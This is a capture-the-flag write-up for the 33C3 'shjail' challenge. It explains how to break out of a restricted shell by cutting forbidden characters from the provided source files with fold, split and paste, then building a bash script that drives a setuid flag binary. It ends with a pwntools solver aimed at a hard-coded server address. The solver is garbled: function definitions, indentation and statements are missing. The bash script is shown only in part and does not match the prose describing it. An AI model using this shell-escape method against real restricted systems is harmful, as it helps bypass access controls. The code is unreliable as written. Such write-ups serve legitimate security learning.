# 33C3 CTF – shjail

The goal of this challenge is to successfully run (in a shell on a provided server) a setuid binary `flag` which asks you to repeat a number, and then (if you repeat it successfully) outputs the flag:

```jon@jon-s76:~/Workspace/ctf/33c3/shjail/test\$ flag
Could you please type this number back to me?
16399605611210210131
16399605611210210131
33C3_XXXXXXXXXXXXXXXXX (the real flag)
```

This would be trivial but for one interesting restriction of the provided shell: the only characters you are allowed to type are lower-case letters, spaces, and the ‘>’ symbol. In addition, the shell also closes stdin and stderr for any processes spawned by the shell (so you don’t even get a chance to type anything back, let alone a number, upon running flag). To be nice, they do give us the rust code for the shell and the flag binary (in files `shellrs` and `flagrs`) along with a `readme` file that explains all this.

What can you even do with this shell? Well, for starters, you can view the files in the current directory via `cat filename`, as long as the filename is fully lowercase. Since we’re allowed to use the ‘>’ symbol, we can also write (or append) the output of any command we can run to a file of our choosing. Finally, we can also run arbitrary bash scripts via `bash scriptname`. If we could somehow write a bash script that correctly interacted with the `flag` process, we’d be set.

Here is one possible bash script that does the job:

```mkfifo inpipe outpipe
flag < inpipe > outpipe 2> theflag &
exec 3> inpipe
```

[Aside: So actually, the first bash script I wrote completely failed, since I didn’t realize that the flag was printed to stderr instead of stdout. I was working on this late the night before the end of the CTF, and I finally just gave up on this challenge and went to sleep. Luckily another member of our team (alekseys) managed to miraculously read through my terrible python code for this challenge while I was asleep and fix my script, so we finally ended up solving the challenge. I’ve only been able to test out the above script locally since the CTF servers are down at the time of this writeup].

Unfortunately, this bash script has many characters we’re not allowed to type — ‘\$’, ‘<', '&', the capital letters in 'REPLY', the digits '2' and '3' — and writing a bash script without any of these characters seems excessively difficult. How, then, can we possibly get these characters into a file (let alone in the correct order)?

We do have one advantage – it turns out that the Rust code they provided for the shell and flag binaries contains a bunch of these forbidden characters. This suggests a 'ransom note' approach; let's just cut up these files, take the characters we want, and reassemble them to get the script we need.

We've therefore reduced the problem to figuring out how to extract a character from a file. At this point, we look through all the standard Unix tools to see which ones could be useful. It's important that we use these tools without any additional flags or parameters that require forbidden characters; there are tools like cut, sed, and awk that could probably easily extract a specific character of a file were it not for this restriction.

The main tools we'll use are:

• `grep` : this let’s us extract a specific line of a file, as long as there is some unique identifier in that line. For example, `grep iter shellrs > line` extracts the 8th line of `shellrs` (which contains the string ‘iter’) and outputs it to the file `line`.
• `echo`/`printf`: we can use both of these to generate files that contain allowable characters. For example, `printf a > tmp` creates a file `tmp` whose content is `a`. Importantly, `echo` automatically appends a newline after the text whereas `printf` does not.
• `nl`: this tool automatically adds line numbers to files. This is useful for getting files that contain all the digits (the original files don’t contain ‘2’ or ‘3’ anywhere).
• `cat`: we briefly mentioned this above, but one thing not covered there is that we can use this to concatenate (hence the name) files. For example, after running `cat tmpa tmpb > tmpc` , `tmpc` will be the concatenation of `tmpa` and `tmpb`.
• `fold`: this automatically formats text so that each line contains at most 80 characters, truncating lines longer than 80 characters and moving the excess to the next line. We’ll see why this is important soon.
• `split`: this splits long files into several smaller files; in particular, by default it splits a file into chunks of 1000 lines. As with `fold`, we’ll see why this is important soon.
• `paste`: this pastes files together horizontally, inserting tabs between lines of different files (see here for an example). We’ll need to use this instead of `cat` when files have trailing newlines; e.g., if we have files containing ‘mkfifo\n’, ‘inputpipe\n’, and ‘outputpipe\n’, then `cat`ing them together will give ‘mkfifo\ninputpipe\noutputpipe\n’, which won’t run as a valid bash script, but `paste`ing them together will give ‘mkfifo\tinputpipe\toutputpipe\n’, which will run.

Let’s begin by figuring out how to extract a specific character of a specific file. With `grep`, we can usually extract the corresponding line of that file, so let’s assume our file is a single line. Let’s also assume this line isn’t longer than 80 characters (this is true for all the lines we deal with).

We’ll start by abusing `fold` to get this character on a line of its own. Let’s say the character we want is the $n$th character — e.g., the 8th character in the following string:

```extract\$me
```

We can use printf and cat to prepend $(80-n)$ dummy characters so that this character becomes the 80th character in the line (shown with a line limit of 40 characters below):

```aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaextract\$me
```

When we run `fold` on this, everything after our desired character moves to the next line:

```aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaextract\$
me
```

If we prepend one more character…

```baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaextract\$
me
```

…and run `fold` again…

```baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaextract
\$
me
```

we get the character we want on its own line! Now, ideally we’d want to get it into its own file. To do this, we use a similar trick, but this time with `split`. If we prepend 998 lines to this file and then run `split`, the third line of the above code gets removed and placed in its own file. If we then prepend one more line and run `split` once more, we’re rewarded with a file containing just our desired character (and a newline).

Now we’re in really good shape! We can get pretty much all of the characters we need, all in their own files. There are just a couple more laundry list items to take care of:

• Dealing with newlines: unfortunately, the single-character files we obtain in this way are all new-line terminated. This makes it annoying to generate tokens like `<2` (we can try using `paste`, but this will insert a tab between these two characters). Luckily, we can remove the last character of a file with `head -c 1`. This requires us to be able to generate the `-c` token somehow, but fortunately this happens to be a substring of the `shellrs` file. In this way, we can remove all trailing newlines from our files.
• Capital letters: we also need to somehow generate capital letters to get the capital letters in ‘REPLY’. Some of these capital letters occur naturally in the provided source, but not all of them. Luckily, we can capitalize a file with the command `dd conv=ucase filename`, so we can also throw this into a bash script with the pieces we have so far and run it on a file containing ‘reply’.

With all of these pieces in hand, we can paste the pieces of our final bash script together and run it. Here is some (barely readable) Python code that automates this process.

```from hashlib import sha256
from pwn import *

PROOF_OF_WORK_HARDNESS = 2**24

h = sha256(task.encode('ASCII') + solution.to_bytes(4, 'little')).digest()
return int.from_bytes(h, 'little') < 1/PROOF_OF_WORK_HARDNESS * 2**256

""" You can use this to solve the proof of work. """
print("Creating proof of work for {}".format(task))
for i in range(0, 2**32):
if i % 1000000 == 0: print(i)
print("Solution: {}".format(i))
return i
raise ValueError("could not create proof of work")

conn = remote('78.46.224.92', 666)

print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())
line = conn.recvline()

challenge = line.split()[-1]
print(challenge)

sol = solve_proof_of_work(challenge.decode())
conn.sendline(str(sol))

conn.sendline('nl shellrs > numbered')

def double():
print('doubling...')

if N==1:
return
double()
if N%2==1:

conn.sendline('echo a > oneline')

conn.sendline('printf z > tokenz')
conn.sendline('grep arg shellrs > line')
conn.sendline('cat tokenz line > tmp')
conn.sendline('mv tmp line')
conn.sendline('grep z line > flagcline')

FOLDL = 80

def extract_substring(fname, st, end, outfile):
conn.sendline('cp {} xline'.format(fname))
conn.sendline('mv tmp xline')
conn.sendline('fold xline > tmp')
conn.sendline('mv tmp xline')

conn.sendline('mv tmp xline')
conn.sendline('fold xline > tmp')
conn.sendline('mv tmp xline')

conn.sendline('mv tmp xline')
conn.sendline('split xline')
conn.sendline('mv xaa xline')
conn.sendline('cat oneline xline > tmp')
conn.sendline('mv tmp xline')
conn.sendline('split xline')

conn.sendline('mv xab {}'.format(outfile))

def extract_char(fname, ind, outfile):
extract_substring(fname, ind, ind+1, outfile)

extract_substring('flagcline', 15, 17, 'flagc')

cnames = {' ': 'cspace',
'<': 'cless',
'=': 'cequal',
'>': 'cmore',
'&': 'cand',
'\$': 'cdollar',
'1': 'cone',
'2': 'ctwo',
'3': 'cthree'}

IMP_CHARS = '<>&\$3'
GREPS = [('grep iter shellrs > line',
[
(18, cnames['&']),
(28, cnames['<']),
(29, cnames['=']),
(70, cnames['>'])
]),
('grep setuid flagrs > line',
[
(32, cnames['\$'])
]),
('grep executing numbered > line',
[
(5, cnames['1'])
]),
('grep self numbered > line',
[
(5, cnames['2'])
]),
('grep process numbered > line',
[
(5, cnames['3'])
])]

for grep, xs in GREPS:
conn.sendline(grep)
for ind, cname in xs:
extract_char('line', ind, cname)

def make_token(s):
fname = 'txt'+s
conn.sendline('printf {} > {}'.format(s,fname))

conn.sendline('paste txthead flagc cone > guillotine')

for c in cnames:
cname = cnames[c]
conn.sendline('echo {} > txtcname'.format(cname))
conn.sendline('paste guillotine txtcname > script')
conn.sendline('bash script > tmp')
conn.sendline('mv tmp {}'.format(cname))

# generate caps script

make_token('conv')
make_token('ucase')
conn.sendline('cat txtconv cequal txtucase > ddopt')
make_token('dd')
make_token('line')
conn.sendline('paste txtdd ddopt cless txttxtreply > enrage')

conn.sendline('cat cthree cmore > notaheart')
conn.sendline('cat ctwo cmore > twomore')

# assemble final script
words = ['mkfifo', 'inpipe', 'outpipe', 'flag', 'exec', 'read', 'echo', 'theflag']
for word in words:
make_token(word)

solve_script = [
['txtmkfifo', 'txtinpipe', 'txtoutpipe'],
['txtflag', 'cless', 'txtinpipe', 'cmore', 'txtoutpipe', 'twomore', 'txttheflag', 'cand'],
['txtexec', 'notaheart', 'txtinpipe'],
]

conn.sendline('touch solve')
for row in solve_script:
conn.sendline('paste {} > sline'.format(' '.join(row)))
conn.sendline('cat sline >> solve')

conn.interactive()
```